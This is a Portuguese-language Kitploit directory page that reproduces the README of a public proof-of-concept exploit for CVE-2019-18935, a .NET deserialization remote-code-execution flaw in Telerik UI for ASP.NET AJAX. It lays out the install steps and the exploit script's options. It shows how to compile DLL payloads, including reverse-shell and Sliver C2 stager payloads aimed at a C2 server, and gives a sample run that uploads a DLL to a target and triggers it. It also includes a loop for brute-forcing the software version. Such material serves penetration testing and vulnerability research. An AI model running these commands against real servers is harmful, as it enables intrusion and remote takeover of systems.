Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2019-18935 — Exploit de RCE para uma vulnerabilidade de desserialização JSON no .NET no Telerik UI para ASP.NET AJAX. | Kitploit
Ferramentas/GitHubGitHub/noperator/cve-2019-18935
Análise de VulnerabilidadesExploraçãoShellcodeExploração de Aplicações WebTestes de PenetraçãoComando e ControleRed TeamingDesenvolvimento de Payloads
GitHubnoperator/cve-2019-18935

CVE-2019-18935

Exploit de RCE para uma vulnerabilidade de desserialização JSON no .NET no Telerik UI para ASP.NET AJAX.

Ver Repositório
3738813há 4 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2019-18935

Exploit de prova de conceito para uma vulnerabilidade de desserialização JSON .NET no Telerik UI for ASP.NET AJAX que permite execução remota de código.

Descrição

Telerik UI for ASP.NET AJAX é um conjunto amplamente utilizado de componentes de interface para aplicações web. Ele desserializa objetos JSON de forma insegura, resultando em execução remota arbitrária de código no host subjacente do software. Para mais informações, veja:

  • A palestra no DerpCon .NET Roulette (slides) que detalha fundamentos extras sobre exploração de desserialização insegura, aplica isso a este exploit e percorre algumas dicas e truques para obter shells em aplicações web ASP.NET.
  • O artigo completo na Bishop Fox, incluindo uma explicação completa desta vulnerabilidade e detalhes do exploit para este problema (junto com instruções de correção).

Começando

Pré-requisitos

Você precisará do Visual Studio e do .NET Framework SDK instalados para compilar payloads de DLL de assembly .NET em modo misto usando build-dll.bat.

Instalação

git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
python3 -m venv env
source env/bin/activate
python3 -m pip install -U pip
python3 -m pip install -r requirements.txt

Este exploit utiliza a lógica de criptografia do RAU_crypto. A classe RAUCipher dentro de RAU_crypto.py depende do PyCryptodome, um substituto direto para o módulo PyCrypto morto. PyCryptodome e PyCrypto criam problemas quando instalados no mesmo ambiente, então a melhor forma de satisfazer essa dependência é instalar o módulo dentro de um ambiente virtual, como mostrado acima.

Configuração

Aponte a linha 17 do build-dll.bat para o caminho da sua instalação do Visual Studio.

set VSPATH=C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build

Uso

$ python3 CVE-2019-18935.py -h
usage: CVE-2019-18935.py [-h] [-t] [-d] [-r FILENAME_REMOTE] [-s SMB_SERVER]
                         [-v UI_VERSION] [-n NET_VERSION] [-p PAYLOAD]
                         [-f FOLDER] -u URL

Exploit for CVE-2019-18935, a .NET JSON deserialization vulnerability in
Telerik UI for ASP.NET AJAX.

optional arguments:
  -h, --help          show this help message and exit
  -t                  just upload a file
  -d                  just deserialize
  -r FILENAME_REMOTE  remote payload name, for optional use with -d
  -s SMB_SERVER       remote SMB server, for optional use with -d
  -v UI_VERSION       software version
  -n NET_VERSION      .NET version
  -p PAYLOAD          mixed mode assembly DLL
  -f FOLDER           destination folder on target
  -u URL              https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau

Compilar payload de DLL de assembly .NET em modo misto

Alguns payloads (ex.: reverse-shell.c e sliver-stager.c) exigem que você defina os campos HOST e PORT para apontar para seu servidor C2 — certifique-se de fazer isso!

Em um ambiente Windows com Visual Studio instalado, use build-dll.bat para gerar DLLs de assembly em modo misto de 32 e 64 bits para serem usadas como payload durante a desserialização. Opcionalmente, você pode especificar uma arquitetura de CPU alvo como segundo argumento da CLI (ex.: x86).

build-dll.bat sleep.c

Enviar payload para o alvo e carregá-lo na aplicação

Passe a DLL gerada acima para o CVE-2019-18935.py, que enviará a DLL para um diretório no servidor alvo (desde que o servidor web tenha permissões de escrita nesse diretório) e depois carregará essa DLL na aplicação através do exploit de desserialização insegura.

$ python3 CVE-2019-18935.py -v <VERSION> -p payloads/sleep-2019121205271355-x86.dll -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau
[*] Local payload name:  sleep-2019121205271355-x86.dll
[*] Destination folder:  C:\Windows\Temp
[*] Remote payload name: 1576142987.918625.dll

{'fileInfo': {'ContentLength': 75264,
              'ContentType': 'application/octet-stream',
              'DateJson': '1970-01-01T00:00:00.000Z',
              'FileName': '1576142987.918625.dll',
              'Index': 0},
 'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '
                                     'Telerik.Web.UI, Version=<VERSION>, '
                                     'Culture=neutral, '
                                     'PublicKeyToken=<TOKEN>',
              'TempFileName': '1576142987.918625.dll'}}

[*] Triggering deserialization...

<title>Runtime Error</title>
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Runtime Error</i> </h2></span>
...omitted for brevity...

[*] Response time: 13.01 seconds

No exemplo acima, a aplicação levou pelo menos 10 segundos para responder, indicando que o payload DLL invocou com sucesso Sleep(10000).

Força bruta na versão do Telerik UI

Conforme detalhado na palestra do DerpCon .NET Roulette (39:46), podemos fazer força bruta na versão do Telerik UI especificando apenas a versão major do assembly Telerik.Web.UI (ou seja, a parte 2017 da string de versão completa 2017.2.503.40) ao enviar um arquivo. Esta técnica reduz drasticamente o espaço de busca em comparação com a força bruta de cada lançamento específico deste software — e, como benefício adicional, pode até detectar versões que não estão explicitamente listadas no histórico de lançamentos deste software. Saiba mais sobre versionamento de assemblies .NET no MSDN.

$ for YEAR in $(seq 2013 2018); do
    echo -n "$YEAR: "
    python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null |
    grep -oE "Telerik.Web.UI, Version=$YEAR\.[0-9\.]+" ||
    echo
done

2013:
2014:
2015:
2016:
2017: Telerik.Web.UI, Version=2017.2.503.40
2018:

Implantar com framework Sliver C2

Baixar ferramenta